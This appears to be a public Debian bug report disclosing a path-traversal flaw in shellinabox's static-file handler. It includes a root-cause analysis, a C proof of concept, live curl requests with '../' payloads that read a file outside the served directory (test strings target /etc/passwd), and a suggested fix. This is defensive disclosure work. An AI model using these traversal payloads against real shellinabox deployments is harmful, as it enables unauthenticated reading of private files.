Hello,
Filing this publicly per Moritz Mühlenhoff's request on the Debian
Security Team thread (team@security.debian.org), 2026-11-05: "Please
go ahead and file a public bug for this in the Debian BTS using
'reportbug shellinabox' with severity:grave and tag it as a security
bug."
shellinabox/externalfile.c's externalFileHttpHandler() (registered for
the admin-opt-in --static-file <url-path>:<local-dir> command-line
option) is supposed to block path traversal by rejecting any path
component starting with ".". This is the guard added after the
project's historical directory-traversal advisory, CVE-2012-4871. The
guard loop has a pointer-advance bug that makes it ineffective for
every path component after the first.
Root cause (externalfile.c):
if (*pathInfo) {
strncat(fn, "/", s_size);
const char *ptr = pathInfo;
while (*ptr == '/') {
ptr++;
}
strncat(fn, ptr, s_size);
// Any files/directories starting with a dot are inaccessible to us
do {
if (*ptr == '.') {
deleteURL(url);
free(fn);
httpSendReply(http, 404, "File not found", NO_MSG);
return HTTP_DONE;
}
ptr = strchr(ptr + 1, '/');
} while (ptr);
}
strchr(ptr + 1, '/') returns a pointer AT the '/' character it finds,
not past it. The loop then re-tests *ptr == '.', but ptr now points at
'/', so the comparison is always false, and the loop repeats forever
matching only slash characters. The only character of pathInfo ever
actually checked against '.' is the very first one (before the loop
starts). Every subsequent path-component boundary - including the
character right after an internal '/' that would be '.' for a ".."
component - is never inspected.
No URL-decoding happens anywhere before this handler runs, so literal
../ sequences in the raw HTTP request line work directly with no
encoding needed.
Impact: any deployment using the documented --static-file option
(serving custom CSS/branding assets - a supported, non-default
feature) exposes an unauthenticated directory-traversal file-read
primitive to any network client able to reach the HTTP(S) listener,
reading arbitrary files readable by the shellinaboxd process user.
This is a regression that reintroduces exactly the vulnerability class
and feature area of CVE-2012-4871.
Affected: shellinabox as packaged in Debian (source package
shellinabox, version 2.21), same vulnerable code as the upstream
GitHub mirror at commit 4f0ecc31ac6f985e0dd3f5a52cbfc0e9251f6361, and
also confirmed present in openSUSE Tumbleweed
(2.20+git.1548649128.4f0ecc3-4.38). Upstream (shellinabox/shellinabox)
appears unmaintained - no commits since 2019.
=== PoC 1: standalone logic confirmation (guard loop extracted verbatim) ===
/* Standalone reproduction of the loop-pointer bug in
* shellinabox/externalfile.c:externalFileHttpHandler()'s dot-component
* guard. Demonstrates that the guard only ever inspects the first
* character of pathInfo, and the '/' characters it lands on afterward,
* never the character that actually follows each '/' -- so any ".."
* component after the first path segment is never checked.
*
* Compile: gcc poc_logic_test.c -o poc_logic_test
* Run: ./poc_logic_test
*/
#include <stdio.h>
#include <string.h>
/* Exact logic copied from shellinabox/externalfile.c lines ~86-105 */
static int dotGuardBlocks(const char *pathInfo) {
const char *ptr = pathInfo;
while (*ptr == '/') { ptr++; }
do {
if (*ptr == '.') {
return 1; /* blocked, 404 */
}
ptr = strchr(ptr + 1, '/');
} while (ptr);
return 0; /* allowed through to open() */
}
int main(void) {
const char *tests[] = {
"../../../etc/passwd", /* expected: blocked (dot at offset 0) */
"a/../../../../etc/passwd", /* should be blocked, but bug allows it */
"foo/bar/../../../../../etc/passwd",
NULL
};
for (int i = 0; tests[i]; i++) {
int blocked = dotGuardBlocks(tests[i]);
printf("pathInfo=\"%s\" guard_result=%s\n",
tests[i], blocked ? "BLOCKED (404)" : "ALLOWED -> open(arg
+ \"/\" + pathInfo)");
}
return 0;
}
Output:
pathInfo="../../../etc/passwd" guard_result=BLOCKED (404)
pathInfo="a/../../../../etc/passwd" guard_result=ALLOWED -> open(arg
+ "/" + pathInfo)
pathInfo="foo/bar/../../../../../etc/passwd" guard_result=ALLOWED ->
open(arg + "/" + pathInfo)
=== PoC 2: live-fire against the real, unmodified shellinaboxd daemon ===
Source used: upstream mirror shellinabox/shellinabox, commit
4f0ecc31ac6f985e0dd3f5a52cbfc0e9251f6361 ("Rolling code for version
2.21", 2019-01-27) - the same commit analyzed above. externalfile.c
was not modified; a diff against the pristine checkout showed zero
differences before the final test run below.
Build (autotools, two link/config portability fixes for modern OpenSSL
3.x - neither touches externalfile.c or any logic under test):
autoreconf -fi
./configure
# shellinaboxd fails to link against modern OpenSSL 3.x headers unless
# -lssl -lcrypto is added to shellinaboxd_LDADD in the generated Makefile,
# and the -static LDFLAGS is dropped (no static libssl/libcrypto on this
# system). Both are build-artifact edits, not source changes.
make -j4
./shellinaboxd --version
-> ShellInABox version 2.20 (revision 4f0ecc3)
Test fixture:
mkdir -p /tmp/sib-poc/staticdir/sub
echo "STATIC_MARKER_OK_12345" > /tmp/sib-poc/staticdir/marker.txt
echo "SECRET_OUTSIDE_STATICDIR_SHOULD_NOT_BE_SERVED_7f3a9c" >
/tmp/sib-poc/secret-outside.txt
/tmp/sib-poc/staticdir is the directory handed to --static-file.
/tmp/sib-poc/secret-outside.txt sits one level above it and is never
inside the configured static-file root.
Run the real daemon:
./shellinaboxd -p 14201 --localhost-only -f /sfx:/tmp/sib-poc/staticdir -v
Requests (curl --path-as-is used so curl does not itself collapse the
../ sequences before sending; plain curl without that flag performs
RFC 3986 dot-segment removal client-side and would defeat the test
harmlessly):
Baseline, legitimate in-directory file:
$ curl -s -i --path-as-is "http://127.0.0.1:14201/sfx/marker.txt"
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Content-Length: 23
STATIC_MARKER_OK_12345
Traversal outside the configured directory:
$ curl -s -i --path-as-is
"http://127.0.0.1:14201/sfx/sub/../../secret-outside.txt"
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Content-Length: 53
SECRET_OUTSIDE_STATICDIR_SHOULD_NOT_BE_SERVED_7f3a9c
The daemon served the contents of /tmp/sib-poc/secret-outside.txt, a
file outside the /tmp/sib-poc/staticdir directory configured with
--static-file, over a real HTTP request to the real unmodified daemon.
Daemon's own access log for this run (shows the literal, undecoded ../
path it received and served with HTTP 200 - the server received and
acted on the raw traversal payload itself, not a client-collapsed
one):
[server] Version 2.20 (revision 4f0ecc3)
[server] Command line: ./shellinaboxd -p 14201 --localhost-only -f
/sfx:/tmp/sib-poc/staticdir -v
[server] Listening on port 14201...
[http] localhost - - [19/Oct/2026:03:23:46 +0300] "GET /sfx/marker.txt
HTTP/1.1" 200 103
[http] localhost - - [19/Oct/2026:03:23:46 +0300] "GET
/sfx/sub/../../secret-outside.txt HTTP/1.1" 200 133
[server] Shutting down server
[server] Done
What this rules out: curl pre-normalizing the path (ruled out by
--path-as-is and the daemon's own access log recording the literal ../
segments); the secret file actually living inside the configured
directory (ruled out by directory listing - marker.txt and sub/ are
the only entries inside staticdir); a modified binary (ruled out -
externalfile.c was diffed byte-for-byte against the pristine clone
immediately before this run); an unrelated daemon misconfiguration
granting broad access (ruled out - the same handler correctly returns
the legitimate marker.txt scoped to the directory; only the ../
payload escapes).
Suggested fix, in externalfile.c:
do {
if (*ptr == '.') {
...
}
ptr = strchr(ptr, '/');
if (ptr) { ptr++; }
} while (ptr && *ptr);
or more robustly: reject any pathInfo containing the literal substring
"/../", "/./", or ending in "/.." / "/.", and canonicalize with
realpath() verifying the result stays inside the configured
static-file root before open().
No CVE has been requested yet for this - happy to coordinate on
disclosure timing/CVE assignment.
Best regards,
Alex J.